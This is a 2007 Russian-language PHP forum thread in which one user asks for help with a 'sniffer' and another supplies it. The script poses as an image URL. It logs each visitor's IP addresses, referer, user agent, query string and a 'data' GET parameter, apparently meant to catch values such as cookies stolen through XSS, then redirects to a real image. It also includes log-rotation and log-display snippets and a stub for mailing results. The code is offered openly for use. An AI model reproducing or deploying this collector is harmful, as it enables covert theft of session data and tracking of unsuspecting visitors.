Помогите со сниффером…

Discussion in 'PHP' started by g-warning, 31 Dec 2007.

  1. g-warning

    g-warning Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    76
    Likes Received:
    17
    Reputations:
    0
    del
     
    #1 g-warning, 31 Dec 2007
    Last edited: 28 Mar 2009
    1 person likes this.
  2. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    1)
    PHP:
    <?
      
    $log_file "log.txt"//файл лога
      
    if (!file_exists($log_file)) { $fo fopen($log_file"w"); fclose($fo); }
      
    $fmsg file($log_file);
      
    $count_msg count($fmsg);
      for(
    $i $count_msg$i >= ;$i--) echo $fmsg[$i];
    ?>
    Это у тебя и будет вывод верх ногами :)

    2)Функция mail() к твоим услугам. Всё просто до жути, поэтому не вижу смысла объяснять.

    3)В файле картинки сделай вот так:
    PHP:
    $log_file "log.txt";// Лог файл
      
    $msg_count 30// количество записей
      
    $fl file($msg_file);
      
    $count_fl count($fl);
      if (
    $count_fl >= $msg_count)
      {
        
    $fw fopen($msg_file"w");
        for(
    $i=1;$i<$msg_count;$i++) fwrite($fwtrim($fl[$i])."\r\n");
      }
    # Длаее записываешь данные в лог
     
    1 person likes this.
  3. g-warning

    g-warning Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    76
    Likes Received:
    17
    Reputations:
    0
    del
     
    #3 g-warning, 31 Dec 2007
    Last edited: 28 Mar 2009
  4. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    вот твой скрипт, я сделал.....может что-то неправильно натворил, прост я уже начинаю отмечать НГ :D
    PHP:
    <?php

    $date
    =date("d/m/Y");
    $time=date("H:i");
    $day=date("D");  
    $ip=getenv("REMOTE_ADDR"); 
    $real_ip=getenv("HTTP_X_FORWARDED_FOR"); 
    $unreal_ip=getenv("HTTP_CLIENT_IP");
    $host=getenv("HTTP_HOST"); 
    $referer=getenv("HTTP_REFERER"); 
    $agent=getenv("HTTP_USER_AGENT");  
    $param=$_GET['data']; 
    $query=$_SERVER['QUERY_STRING']; 

    $msg_file "log.txt";
      
    $msg_count 30;
      
    $fl file($msg_file);
      
    $count_fl count($fl);
      if (
    $count_fl >= $msg_count)
      {
        
    $fw fopen($msg_file"w");
        for(
    $i=1;$i<$msg_count;$i++) fwrite($fwtrim($fl[$i])."\r\n");
      }

    $fp fopen($msg_file,"a"); 
    fputs($fp,"[ $date ] [ $time ] [ $day ] [ $host ] [ $referer ] [ $ip ] [ $agent ] [ $real_ip ] [ $unreal_ip ] [ $param ]
    $query ]
    "
    );
    fclose($fp);
    #Тут отправляешь письмо на мыло, писать не буду код, в лом
    /* 
    mail();
    */ 


    header('Location: image.png'); 
    ?>
    вывод данных я выше писал как сделать!

    С наступающим! :)